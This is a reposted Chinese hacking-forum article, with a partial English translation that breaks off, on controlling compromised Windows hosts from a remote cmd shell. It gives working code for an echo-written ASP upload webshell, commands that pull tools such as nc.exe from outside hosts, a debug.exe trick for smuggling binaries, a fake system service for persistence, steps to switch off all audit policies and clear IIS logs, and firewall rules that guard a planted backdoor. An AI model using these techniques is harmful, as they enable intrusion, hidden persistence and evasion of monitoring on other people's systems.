|
willsort
元老会员
         Batchinger
积分 4432
发帖 1512
注册 2002-10-18
状态 离线
|
  『楼 主』:
[推荐][Win]Do All in Cmd Shell (一切尽在命令行)
使用 LLM 解释/回答一下
转自:Ph4nt0m Security Team BBS
http://www.ph4nt0m.org/bbs/showthread.php?threadid=31806
原载:灰色论坛
http://www.isgrey.com
Do All in Cmd Shell (一切尽在命令行)
-------------------------------------------------------
zzzEVAzzz <zzzevazzz@126.com>
http://www.isgrey.com
2004-04-24
-------------------------------------------------------
目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言
前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:
1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:
with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with
将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
注意,这个命令是在本地命令行中执行的,不要弄错了。
另外,通过IIS上传会留日志,要记得清除哦。
2,自动下载到网页缓存中。
例如:
start its:http://www.sometips.com/soft/ps.exe
在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps.exe
于是获得ps.exe的具体位置(每台主机都不一样),如:
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录
2004-01-24 14:24 49,152 ps.exe
1 个文件 49,152 字节
最后:
copy AB094JIT\ps.exe c:\path\ps.exe
del AB094JIT\ps.exe
补充说明:
对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。
本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。
另外,用ms-its代替its效果完全一样。
3,Echo一个脚本下载web资源。
现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。
仍然是echo版:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
举例——下载ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,这是在远程shell中执行的。
4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!
echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)
无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:
cscript echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。
几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。
能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。
系统配置
这节包括三方面内容:注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。
1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389(十六进制d3d)
2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。
要删除一个项,在名字前面加减号,比如:
要删除一个值,在等号后面用减号,比如:
"KAVRun"=-
3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:
Signature="$WINDOWS NT$"
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令“安装”:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明:
1,和是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。
接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。
增加一个服务:
Signature="$WINDOWS NT$"
AddService=inetsvr,,My_AddService_Name
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
Signature="$WINDOWS NT$"
DelService=inetsvr
很简单,不是吗?
当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。
另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。
最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。
先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:
假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:
signature="$CHICAGO$"
MinimumPasswordLength = 6
PasswordComplexity = 1
保存为gp.inf,然后导入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。
/quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
另外,在导入模板前,还可以先分析语法是否正确:
secedit /validate gp.inf
那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。
再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。
echo版:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。
比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:
echo Windows Registry Editor Version 5.00 >1.reg
echo >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
而相应的用inf,应该是:
echo >1.inf
echo signature="$CHICAGO$" >>1.inf
echo >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:
secedit /export /cfg gp.inf /log 1.log
没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。
不过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。
网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。
netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。
1,TCP/IP配置
echo interface ip >s
echo show config >>s
netsh -f s
del s
由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。
注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess
2,ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
这个比arp -a命令多一点信息。
3,TCP/UDP连接
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
这组命令和netstat -an一样。
4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。
echo interface ip >s
echo show interface >>s
netsh -f s
del s
netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。
IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。
IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。
关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:
1,防御rpc-dcom攻击
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选操作是“阻塞”。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。
2,防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。
3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:
c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1
然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想,就删除该策略。
c:\>ipsecpol -p myfw -o -w reg
注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。
如果测试通过,那么就启用它。
c:\>ipsecpol -p myfw -x -w reg
最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。^_^)
netdiag需要RemoteRegistry服务的支持。所以先启动该服务:
net start remoteregistry
不启动RemoteRegistry就会得到一个错误:
Failed to get system information of this machine.
netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。
查看ipsec策略的命令是:
netdiag /debug /test:ipsec
然后是一长串输出信息。IPSec策略位于最后。
软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)
WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。
以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。
作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。
作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。
Signature="$WINDOWS NT$"
AddService=NPF,,winpcap_svr
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。
注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。
所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。
由于系统补丁有可能要替换正在被执行或访问的文件,所以用copy命令是不行的。
幸好,Windows补丁包支持命令行安装。
比如:
KB824146.exe -n -z -q
-n 不保留备份
-z 不重起
-q 安静模式
如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0
Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1,显示系统版本
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2,列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3,终止进程
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123
如果显示一个0,表示终止成功。
然后:
del pk.vbs
4,重启系统
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5,列举自启动的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6,列举正在运行的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7,显示系统最后一次启动的时间
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
显示结果的格式是:
yyyymmddHHMMSSxxxxxxZZZZ
_年_月日时分秒_微秒_时区
8,显示系统运行时间
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。
附言
cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。
也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享。
最后,感谢你耐心看完本文。本人水平有限,错误之处恳请指正。
Last edited by willsort on 2006-6-3 at 21:45 ]
Transferred from: Ph4nt0m Security Team BBS
http://www.ph4nt0m.org/bbs/showthread.php?threadid=31806
Original publication: Grey Forum
http://www.isgrey.com
Do All in Cmd Shell (Everything in the Command Line)
-------------------------------------------------------
zzzEVAzzz <zzzevazzz@126.com>
http://www.isgrey.com
2004-04-24
-------------------------------------------------------
Table of Contents
1, Preface
2, File Transfer
3, System Configuration
4, Network Configuration
5, Software Installation
6, Windows Scripts
7, Postscript
Preface
Cmd Shell (command-line interaction) is an eternal topic for hackers. It has a long history and remains popular.
This article aims to introduce and summarize some methods to control the Windows system from the command line. These methods make use of system-built tools as much as possible.
File Transfer
For a cmd shell obtained from an overflow vulnerability, the biggest problem is how to upload files. Due to the prevalence of worm viruses, the 139 or 445 ports required to connect to ipc$ are blocked by the router. Moreover, the WinXP system has strengthened protection for ipc$, so the means of uploading files through ipc$ and default shares are basically ineffective. ftp and tftp are two feasible methods. Since they are well-known, this article will not introduce them. There are also three familiar methods, which I will mention again for summary:
1, Use the Echo command to write an ASP Trojan.
The premise is, of course, that IIS is installed on the target host.
Generally, an ASP Trojan has a large "size" and is not suitable for directly writing to a file using the echo command. Here I provide a compact one.
Directly give the echo version:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
Note that there is only one line, with no carriage return characters in the middle.
The generated up.asp cannot be accessed by a browser. Only use the following script:
with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
